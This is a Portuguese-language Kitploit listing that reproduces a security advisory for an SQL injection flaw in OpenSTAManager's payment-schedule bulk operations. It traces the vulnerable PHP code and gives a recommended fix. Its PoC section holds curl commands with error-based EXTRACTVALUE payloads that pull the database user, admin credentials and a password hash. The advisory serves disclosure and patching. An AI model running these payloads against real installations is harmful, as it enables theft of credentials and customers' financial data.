Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-24418 — CVE-2026-24418 - O OpenSTAManager possui uma vulnerabilidade de Injeção de SQL no módulo de operações em massa do Scadenzario | Kitploit
Ferramentas/GitHubGitHub/lukasz-rybak/cve-2026-24418
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHublukasz-rybak/cve-2026-24418

CVE-2026-24418

CVE-2026-24418 - O OpenSTAManager possui uma vulnerabilidade de Injeção de SQL no módulo de operações em massa do Scadenzario

Ver Repositório
12há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-24418: OpenSTAManager apresenta vulnerabilidade de Injeção de SQL no módulo de operações em massa do Scadenzario

Visão Geral

CampoDetalhes
ID do CVECVE-2026-24418
SeveridadeALTA
Aviso de SegurançaVer Aviso
Descoberto porLukasz Rybak

Produtos Afetados

  • devcode-it/openstamanager (versões: <= 2.9.8)

Classificação CWE

  • CWE-89: Neutralização Incorreta de Elementos Especiais usados em um Comando SQL ('Injeção de SQL')

Detalhes

Resumo

Vulnerabilidade crítica de Injeção de SQL baseada em erro no módulo de operações em massa do Scadenzario (Cronograma de Pagamentos) do OpenSTAManager v2.9.8 permite que atacantes autenticados extraiam o conteúdo completo do banco de dados, incluindo credenciais de usuários, PII de clientes e registros financeiros, por meio de mensagens de erro XML.

Status: ✅ Confirmado e testado em instância ativa (v2.9.8) Parâmetro Vulnerável: id_records[] (array POST) Endpoint Afetado: /actions.php?id_module=18 (módulo Scadenzario) Tipo de Ataque: Injeção de SQL baseada em erro (cláusula IN)

Detalhes

O OpenSTAManager v2.9.8 contém uma vulnerabilidade crítica de Injeção de SQL baseada em erro no manipulador de operações em massa do módulo Scadenzario (Cronograma de Pagamentos). O aplicativo não valida se os elementos do array id_records são inteiros antes de usá-los em uma cláusula SQL IN(), permitindo que atacantes injetem comandos SQL arbitrários e extraiam dados sensíveis por meio de mensagens de erro XPATH.

Cadeia da Vulnerabilidade:

  1. Ponto de Entrada: /actions.php (Linhas 503-506)

    root@kitploit:~
    $id_records = post('id_records');
    $id_records = is_array($id_records) ? $id_records : explode(';', $id_records);
    $id_records = array_clean($id_records);
    $id_records = array_unique($id_records);
    

    A função array_clean() apenas remove valores vazios - ela NÃO valida tipos.

  2. Função Vulnerável: /lib/util.php (Linhas 54-60)

    root@kitploit:~
    function array_clean($array)
    {
        if (!empty($array)) {
            return array_unique(array_values(array_filter($array, fn ($value) => !empty($value))));
        }
    }
    

    Impacto: A função filtra valores vazios, mas aceita qualquer valor não vazio, incluindo payloads de injeção de SQL.

  3. Ponto de Injeção SQL: /modules/scadenzario/bulk.php (Linha 88) VULNERABILIDADE PRINCIPAL

    root@kitploit:~
    $scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
    

    Impacto: Os elementos do array $id_records são concatenados diretamente usando implode() sem validação de tipo ou prepare(), permitindo injeção completa de SQL.

Análise da Causa Raiz:

A vulnerabilidade existe porque:

  1. post('id_records') retorna um array controlado pelo usuário
  2. array_clean() apenas remove valores vazios, não valores não inteiros
  3. implode(',', $id_records) concatena os elementos do array diretamente no SQL
  4. Nenhuma validação garante que os elementos do array sejam inteiros
  5. O atacante pode injetar SQL fornecendo: id_records[]=1&id_records[]=(MALICIOUS SQL)#

Caminho de Código Afetado:

root@kitploit:~
POST /actions.php?id_module=18
  ↓
actions.php:503 - $id_records = post('id_records')
  ↓
actions.php:505 - $id_records = array_clean($id_records) [NO TYPE VALIDATION]
  ↓
actions.php:509 - include 'modules/scadenzario/bulk.php'
  ↓
bulk.php:88 - WHERE id IN ('.implode(',', $id_records).') [INJECTION POINT]

PoC

Etapa 1: Login

root@kitploit:~
curl -c cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
  -d 'username=admin&password=admin'

Etapa 2: Verificar a Vulnerabilidade (Injeção de SQL baseada em erro)

Teste 1: Extrair Usuário e Versão do Banco de Dados

root@kitploit:~
curl -b cookies.txt \
  -d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(USER(),' | ',VERSION()))))%23" \
  "http://localhost:8081/actions.php?id_module=18"

Resposta (mensagem de erro visível para o atacante):

root@kitploit:~
<code>XPATH syntax error: '~osm@localhost | 8.0.40-0ubuntu0.22.04.1'</code>

Teste 2: Extrair Credenciais do Administrador

root@kitploit:~
curl -b cookies.txt \
  -d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(username,':',email) FROM zz_users LIMIT 1)))%23" \
  "http://localhost:8081/actions.php?id_module=18"

Resposta:

root@kitploit:~
<code>XPATH syntax error: '~admin:[email protected]'</code>

Teste 3: Extrair Hash da Senha (Parte 1 - primeiros 31 caracteres)

root@kitploit:~
curl -b cookies.txt \
  -d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,1,31) FROM zz_users LIMIT 1)))%23" \
  "http://localhost:8081/actions.php?id_module=18"

Resposta:

root@kitploit:~
<code>XPATH syntax error: '~$2y$10$UUPECY1DhQXm2pGEq/UNAeMd'</code>

Teste 4: Extrair Hash da Senha (Parte 2 - caracteres 32-60)

root@kitploit:~
curl -b cookies.txt \
  -d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,32,60) FROM zz_users LIMIT 1)))%23" \
  "http://localhost:8081/actions.php?id_module=18"

Resposta:

root@kitploit:~
<code>XPATH syntax error: '~SoqiRNefN.G9fYMVnCRcvmG0BnwTK'</code>

Hash de Senha Combinado:

root@kitploit:~
$2y$10$UUPECY1DhQXm2pGEq/UNAeMdSoqiRNefN.G9fYMVnCRcvmG0BnwTK

Impacto

**Todos os usuários autenticados com acesso às operações em massa do módulo Scadenzario (Cronograma de Pagamentos).

Correção Recomendada:

Correção Principal - Validação de Tipo:

Arquivo: /modules/scadenzario/bulk.php

ANTES (Vulnerável - Linha 88):

root@kitploit:~
$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');

DEPOIS (Corrigido):

root@kitploit:~
// Validate that all array elements are integers
$id_records = array_map('intval', $id_records);
$id_records = array_filter($id_records, fn($id) => $id > 0); // Remove zero/negative IDs

$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');

Créditos

Descoberto por Łukasz Rybak

Referências

  • https://github.com/devcode-it/openstamanager/security/advisories/GHSA-4xwv-49c8-fvhq
  • https://nvd.nist.gov/vuln/detail/CVE-2026-24418
  • https://github.com/advisories/GHSA-4xwv-49c8-fvhq

Aviso Legal

Este CVE foi divulgado de forma responsável seguindo as práticas de divulgação coordenada de vulnerabilidades. As informações fornecidas aqui têm finalidade exclusivamente educacional e defensiva.

Baixar ferramenta